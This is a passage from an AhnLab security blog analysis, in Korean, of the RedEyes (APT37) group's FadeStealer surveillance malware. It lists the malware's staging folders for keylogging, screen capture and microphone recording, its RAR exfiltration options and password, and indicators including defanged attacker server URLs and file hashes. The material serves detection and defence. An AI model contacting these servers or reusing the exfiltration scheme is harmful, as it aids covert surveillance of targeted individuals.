데이터를 유출하는 치밀함을 보였다. 폴더 경로 유출 데이터 %temp%\VSTelems_Fade\NgenPdbc 화면 캡쳐 %temp%\VSTelems_Fade\NgenPdbk 키로깅 %temp%\VSTelems_Fade\NgenPdbm 마이크 도청 %temp%\VSTelems_FadeIn 스마트폰 장치 데이터 수집 %temp%\VSTelems_FadeOut 이동식 미디어 장치 [표 5] 폴더 경로 및 유출 데이터 [그림 12] 안랩 EDR 탐지 화면 (RAR 압축 유틸리티를 이용한 정보 유출) 압축 옵션 기능 설명 a 압축 파일 추가 r 압축 파일 복구 ep1 이름에서 베이스 디렉터리 제외 m0 압축 레벨 설정 (저장) y 모든 질문에 자동으로 yes 답하기 p NaeMhq[d]q 압축 비밀번호 NaeMhq[d]q로 설정 v1g 1기가 단위로 압축 볼륨 설정 [표 6] 압축 옵션 [그림 13] 공격자 서버에서 확인된 개인 정보 유출 데이터 3. 결론 RedEyes 그룹은 북한 이탈 주민, 인권 운동가, 대학 교수 등 특정 개인을 대상으로 공격을 수행한다. 주로 정보 유출이 목적이며 이번 공격 사례에서는 마이크 도청 기능이 포함된 정보 유출 악성코드가 확인되었다. 대한민국에서 개인의 무단 도청은 사생활 침해로 간주되며 관련 법령에 의해 엄격하게 규제되고 있다. 그럼에도 불구하고 공격자는 피해자가 PC로 하는 다양한 작업들을 모두 감시하고 도청까지 수행하였다. 이번 공격 사례의 전체적인 공격 흐름을 보면 스피어 피싱 메일을 통해 공격 대상에 접근하고 Ably 채널을 명령 제어 서버로 사용하는 등 공격자는 교묘하고 치밀하게 공격을 시도한다. 이러한 공격은 개인이 피해를 인지하는 것조차 어려울 수 있다. 따라서 ASEC은 RedEyes 그룹을 면밀히 추적하고 있으며 추가 피해가 발생하지 않도록 신속하게 대응하고 있다. 공격을 예방하기 위해서는 출처가 불분명한 이메일의 첨부 파일은 열지 않도록 주의해야 한다. 특히 최근 해당 조직은 CHM, LNK 확장자 기반의 악성코드를 초기 침투에 사용하고 있으므로 이메일 첨부 파일 내 파일을 실행할 때 확장자를 주의 깊게 봐야 한다. 확장자 옵션은 기본적으로 숨기기 옵션이 부여되어 있으므로 아래 [그림 14]를 참고하여 확장명 숨기기 체크를 해제하고 첨부 파일이 CHM, LNK일 경우 메일 출처를 반드시 확인한 뒤 실행해야 한다. [그림 14] 알려진 파일 형식의 파일 확장명 숨기기 체크 해제 4. 참고문헌 [1] Ably [2] Malware Distributed Disguised as a Password File [3] HWP Malware Using the Steganography Technique: RedEyes (ScarCruft) [4] TTPs $ ScarCruft Tracking Note – KISA [5] Peeking at Reaper’s surveillance operations – sekoia [6] The Unintentional Leak: A glimpse into the attack vectors of APT37 – zscaler [IOC] [MD5] [CHM] 1352abf9de97a0faf8645547211c3be7 [Powershell Backdoor] 1c1136c12d0535f4b90e32aa36070682 [AblyGo 변형] msedgeupdate.ini (3277e0232ed6715f2bae526686232e06) msedgeupdate.ini (3c475d80f5f6272234da821cc418a6f7) [Dll Sideloading – Loader] mfc42u.dll (59804449f5670b4b9b3b13efdb296abb) [FadeStealer] DESKTOP.lNl (f44bf949abead4af0966436168610bcc) [파일 탐지] Trojan/Win.Goably.C5436296 (2023.06.03.00) Trojan/Win.Goably.C5422375 (2023.05.09.02) Trojan/Win.Loader.C5424444 (2023.05.09.02) Data/BIN.RedEyes (2023.06.08.01) Downloader/CHM.Generic (2023.06.02.03) Downloader/PowerShell.Generic (2023.06.06.00) [행위 탐지] Injection/EDR.Event .M11124 [C&C] [유출 데이터 저장 주소] hxxp://172.93.181[.]249/control/data/ [AblyGo 백도어 업로드 경로] hxxp://172.93.181[.]249/file/ [초기 침투 단계 이후 Powershell Backdoor 다운로드 주소] hxxp://172.93.181[.]249/control/html/1.html 행위 정보 탐지 및 분석을 통한 엔드포인트 가시성을 제공하고 위협을 능동적으로 추적하는 AhnLab EDR에 대한 자세한 정보는 안랩닷컴에서 확인이 가능하다. Categories:안랩 탐지 Tagged as:APT37,Reaper,RedEyes,ScarCruft 보안 업데이트 설치 프로그램으로 위장한 악성코드 유포 주의 리눅스 SSH 서버를 대상으로 유포 중인 Tsunami DDoS 악성코드 5 5 votes 별점 주기 Subscribe Login Notify of new follow-up comments new replies to my comments Label {} [+] 이름* 이메일 웹사이트 [필수] 개인정보 수집 및 이용 동의 1. 목적 : 댓글 등록 사항에 따른 연락처 정보 확인 및 신규 글 게시 사항 전달 문의 사항 대응 2. 항목 : 이름(기관)명, 메일주소 3. 보유기간 : 3개월 간 보관하며, 이후 해당 정보를 지체 없이 파기합니다. 개인정보 수집 및 이용에 동의합니다. Δ Label {} [+] 이름* 이메일 웹사이트 [필수] 개인정보 수집 및 이용 동의 1. 목적 : 댓글 등록 사항에 따른 연락처 정보 확인 및 신규 글 게시 사항 전달 문의 사항 대응 2. 항목 : 이름(기관)명, 메일주소 3. 보유기간 : 3개월 간 보관하며, 이후 해당 정보를 지체 없이 파기합니다. 개인정보 수집 및 이용에 동의합니다. Δ 1 댓글 Inline Feedbacks View all comments RedEyes csoportos lehallgatás – Yet Another News Aggregator Channel 1 day ago […] ] FORRÁS […] ] 0 Reply LOCKER locker select month June 2023 May 2023 April 2023 March 2023 February 2023 January 2023 December 2022 November 2022 October 2022 September 2022 August 2022 July 2022 June 2022 May 2022 April 2022 March 2022 February 2022 January 2022 December 2021 November 2021 October 2021 September 2021 August 2021 July 2021 June 2021 May 2021 April 2021 March 2021 February 2021 January 2021 December 2020 November 2020 October 2020 September 2020 August 2020 July 2020 June 2020 May 2020 April 2020 March 2020 February 2020 January 2020 December 2019 November 2019 October 2019 September 2019 August 2019 July 2019 June 2019 May 2019 April 2019 March 2019 February 2019 January 2019 December 2018 November 2018 October 2018 September 2018 August 2018 July 2018 June 2018 May 2018 April 2018 March 2018 February 2018 January 2018 October 2017 September 2017 July 2017 June 2017 May 2017 April 2017 March 2017 February 2017 January 2017 December 2016 November 2016 June 2016 May 2016 April 2016 March 2016 January 2016 November 2015 May 2015 April 2015 March 2015 February 2015 January 2015 December 2014 November 2014 September 2014 August 2014 May 2014 April 2014 March 2014 February 2014 January 2014 November 2013 October 2013 September 2013 August 2013 July 2013 June 2013 April 2013 March 2013 February 2013 January 2013 December 2012 November 2012 October 2012 September 2012 August 2012 July 2012 June 2012 May 2012 April 2012 March 2012 February 2012 January 2012 December 2011 November 2011 October 2011 September 2011 August 2011 July 2011 June 2011 May 2011 April 2011 March 2011 February 2011 January 2011 December 2010 November 2010 October 2010 September 2010 August 2010 July 2010 June 2010 May 2010 April 2010 March 2010 February 2010 January 2010 December 2009 November 2009 October 2009 September 2009 August 2009 GET NEWS * Facebook * Twitter * RSS feed FOOTER 220 Pangyoyeok-ro, Bundang-gu, Seongnam-si, Gyeonggi-do, 13493 | CEO : Kang Seok-kyun | Business registration number: 214-81-83536 | Privacy Policy © AhnLab, Inc. All rights reserved. FAMILY SITE Family Site AhnLab.com AhnLab Tips SMB Place V3 365 Clinic AhnLab Mall V3 MSS Korea (Korean) Global (English) Japan (Japanese) wpDiscuz Insert 댓글 로드중... 댓글 달기... 이메일 이름 웹사이트 Original text Rate this translation Your feedback will be used to help improve Google Translate